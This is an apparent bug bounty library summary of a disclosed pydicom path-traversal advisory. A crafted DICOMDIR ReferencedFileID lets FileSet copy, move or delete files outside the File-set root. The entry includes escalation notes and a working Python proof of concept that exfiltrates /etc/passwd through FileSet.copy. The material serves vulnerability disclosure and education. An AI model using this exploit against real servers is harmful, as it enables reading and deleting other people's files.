# pydicom has a path traversal in FileSet/DICOMDIR ReferencedFileID allows file access outside the File-set root

Crafted DICOMDIR ReferencedFileID escapes the File-set root in pydicom, letting FileSet.copy/write/remove read, move or delete arbitrary server files.

- Payout: Research
- Severity: high
- Program: pydicom
- Found by: jh4nks
- Disclosed: 2026-03-20
- CVE: CVE-2026-32711
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-v856-2rf8-9f28
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-v856-2rf8-9f28
- Tags: area:oss domain:oss impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:python technique:source-review vuln:path-traversal

**Target:** pydicom FileSet / DICOMDIR parser (fileset.py)
**Root cause:** RecordNode._file_id converts ReferencedFileID straight to a Path and FileSet.load() only resolves it with strict=True to confirm existence, never checking the resolved path stays under the File-set root.
**Steps:**
1. Copy a sample File-set containing a valid DICOMDIR
2. Set one DirectoryRecordSequence item's `ReferencedFileID = "/etc/passwd"` (or `/tmp/secret.txt`)
3. Load with `FileSet(ds)` or `FileSet(path_to_dicomdir)`
4. Call `FileSet.copy(new_root)`
5. Observe the exported File-set contains the external file's contents
**How found:** Code review of src/pydicom/fileset.py: noticed load() only does `(root / file_id).resolve(strict=True)` for existence and FileInstance.path joins root with the raw _file_id, with no `relative_to(root)` containment check; confirmed even warned invalid ReferencedFileID values don't block the operation.
**Exploitation:** Server accepts an uploaded DICOM File-set zip, loads the malicious DICOMDIR via FileSet, then re-exports with copy()/write(); the unchecked path causes server-local files to be copied into the export. write() moves and remove()+write(use_existing=True) deletes outside the root.
**Escalation:** Beyond read/copy via copy(), write() enables move and remove()+write(use_existing=True) enables delete of arbitrary files outside the root; symlink-based conformant file IDs also escape.
**Insight:** When a library resolves a path with strict=True just to check existence, that is not containment — test absolute paths, `../` and symlinked conformant IDs against every downstream consumer (copy/move/unlink), not just the loader.

## Proof of concept (copied exactly from the original report)

**Python PoC copying /etc/passwd via FileSet.copy**

```
from pathlib import Path
from tempfile import mkdtemp
import shutil
from pydicom import dcmread
from pydicom.fileset import FileSet

base = Path("src/pydicom/data/test_files/dicomdirtests")
root = Path(mkdtemp(prefix="fsroot_"))
out = Path(mkdtemp(prefix="fsout_"))

shutil.copy2(base / "DICOMDIR", root / "DICOMDIR")
for d in ("77654033", "98892003", "98892001"):
    shutil.copytree(base / d, root / d)

ds = dcmread(root / "DICOMDIR")
item = next(x for x in ds.DirectoryRecordSequence if "ReferencedFileID" in x)
item.ReferencedFileID = "/etc/passwd"

fs = FileSet(ds)
fs.copy(out)
```

